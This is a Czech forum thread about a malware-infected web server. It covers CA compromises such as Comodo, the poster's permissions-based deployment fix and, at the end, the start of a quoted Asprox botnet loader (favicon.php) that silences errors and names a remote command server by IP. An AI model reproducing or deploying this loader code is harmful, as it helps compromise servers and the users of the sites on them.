Zavirovaný webový server [VYŘEŠENO]

[beer]

Ještě teda doplním, že ty podepsaný certifikáty by neměli jít podvrhnout a browser právě na ty nepodepsaný upozorňuje.

Ono tomu tak není, je možné ukrást podepisovací certifikát certifikační autoritě a podepisovat podvrhnuté weby.
Případ comodo byl jen jedním z mnoha.

http://www.root.cz/clanky/ssl-neni-bezpecne-ukazuje-pripad-comodo/

Autority tak vytvářejí kritický prvek selhání (single point of failure), protože se jednoduše doufá v to, že jsou nenapadnutelné a vše v nich funguje zcela správně. Tedy, že nevystavují certifikáty někomu cizímu. A přesně to společnost Comodo udělala – devětkrát.

Firma 15. března přiznala, že došlo k vážnému narušení bezpečnosti. Přes účet jednoho z partnerů (InstantSSL.it, později byli kompromitováni další dva) byl založen účet nový a na ten bylo vystaveno devět neověřených certifikátů. Celkem se jedná o certifikáty vystavené na sedm domén:

    mail.google.com
    login.live.com
    www.google.com
    login.yahoo.com (tři certifikáty)
    login.skype.com
    addons.mozilla.org
    global trustee

Útoky přišly z různých IP adres, ale především z Íránu (IP adresa 212.95.136.18), útočník byl velmi dobře připravený, rychle napadl systém, rychle vytvořil potřebné certifikáty a zmizel. Útočník požádal celkem o devět certifikátů, ale Comodo netuší, zda si všechny vyzvedl. Jisté je, že certifikát na login.yahoo.com byl v praxi použit.

edit:
další odkazy ohledně bezpečnosti SSL:
http://www.root.cz/clanky/ssl-je-zbytecne-pokud-se-nekontroluje-certifikat/

    Výsledkem toho všeho je, že existuje mnoho aplikací a platebních bran, které s nadšením akceptují jakýkoli man-in-the-middle útok s jakýmkoli, třeba i self-signed certifikátem nebo certifikátem vydaným na úplně jiné DNS jméno.

Jednou z těchto chyb pořád trpí na Androidu i Opera Mini, a to mají vývojáři Opery mnohem víc zkušeností než náhodný jiný vývojář, který dostal v zadání „tady má být HTTPS“. Opera Mobile zahlásí varování o certifikátu.

http://www.root.cz/clanky/ssl-divocina-aneb-jak-se-chovaji-duveryhodne-ca/

Rok 2011 byl bohatý na medializované případy napadených certifikačních autorit. Mezi obecně známé patří Comodo, DigiNotar, Gemnet, StartCom a GlobalSign.

Malware podepsán faktorizovanými klíči

Existence mnoha platných certifikátů s 512bitovými klíči vydaných důvěryhodnými CA je dlouho známá, ale ještě potrvá, než je začne software odmítat jako slabé. Po prvních kouscích malware podepsaného ukradenými klíči (Stuxnet, Duqu) přišla větší vlna.

Pro všechny podpisy byly použity certifikáty s 512bitovými RSA klíči od různých CA, z čehož se usuzuje, že klíče byly nejspíš faktorizovány. Těžko říct, proč si útočníci vybrali faktorizaci, když mohli koupit ukradené klíče. Možná vyšla faktorizace levněji nebo zanechala méně stop po pachatelích. Cena „okamžité“ faktorizace 512-bit RSA klíče na EC2 cloudu vyjde pod 150 dolarů.

Kromě ssl je doporučené proto používat i DNSsec, otázka je jeho nasazení v praxy, jestli prohlížeče kontrolují dnssec key.

[Martin - ViPEr*CZ*]

Ještě teda doplním, že ty podepsaný certifikáty by neměli jít podvrhnout a browser právě na ty nepodepsaný upozorňuje.

Ono tomu tak není, je možné ukrást podepisovací certifikát certifikační autoritě a podepisovat podvrhnuté weby.
Případ comodo byl jen jedním z mnoha.

http://www.root.cz/clanky/ssl-neni-bezpecne-ukazuje-pripad-comodo/

Ono to tu už také padlo... nechoďme do extrémů... protože co je bezpečné?

[On]

Řekl bych sex dvou pannen, ale to bude asi na jiné fórum 

[Roman Vacho]

Řekl bych sex dvou pannen, ale to bude asi na jiné fórum 

S tím bych si dovolil nesouhlasit. 

[On]

Řekl bych sex dvou pannen, ale to bude asi na jiné fórum 

S tím bych si dovolil nesouhlasit. 

  Ano, to je moderátor, také je to jen člověk

[On]

Takže, jen pro informaci, nápravná opatření jsem udělal taková, že jsem vše ošetřil právama přes skripty.

Byl jsem měkký a vývojáři měli vyjímky, kdy si mohli ve svých projektech na produkčním prostředí měnit zdrojové kódy.
Když chtěli udělat nějakou jednoduchou úpravu (změna adresy v patičce nebo tak něco), tak jim to přes git přišlo příliš složité, tak úpravu udělali přímo ve zdrojáku - je to blbost, ale jejich boj.

Každopádně tomu je konec. Nastavila se pevná pravidla bez vyjímek. Bez Gitu + buildovacího softwaru jenkins, který má na svědomí "kopírování" zdrojáků na produkci si už neprdnou.
Funguje to tak, že existuje jedna složka s právem zápisu, do ní jenkins provádí veškeré buildy (kopíruje zdrojáky - ovšem na tuto složku ještě nesahá apache. Je to separé složka, takový most). Vývojáři si v Jenkins u každého projektu nastaví, která konkrétní složka potřebuje právo zápisu (klienti si tam nahrávají fotky, dokumenty atd...) Skript, který je v cronu, co 5minut kontroluje jednu spešl složku, do které se ukládají konfigurace každého projektu. Skript tedy ocheckuje, jestli má co zpracovat, pokud nějaký soubor najde, rozpársuje jej a synchronizuje (rsync) projekt do produkčního prostředí, kam už si sahá apache. Po synchronizaci upraví práva na 550 rekurzivně vyjma těch, do kterých má být právo zápisu - tyto složky mají 750.

Cílem je tedy to, že ikdyby se nějak dostal vir do složek s právem zápisu, nikam jinam se už nedostane. Takhle můžu přesně zjistit, který projekt je děravý.
Doposud to bylo tak, že vir se rozlezl úplně všude. Z těch 60ti projektů byl vir tak v 58mi...a teď hledejte, který z nich to má na svědomí Nějakou dírou se tam holt dostal a ssh vylučuji už jen proto, že každý z virů měl vlastníka "jenkins" = uživatel, pod kterým běží apache.

[rebus]

To co je/bylo ve favicon.php je soucasti Asprox botnetu.
Vice informaci http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf  http://rebsnippets.blogspot.cz/2013/05/phishing-malware-as-service-this-blog.html

favicon.php

Kód: [Vybrat]

<?php

error_reporting(0);
ini_set("display_errors", 0);

$remote = 'http://62.109.31.142/request12.php';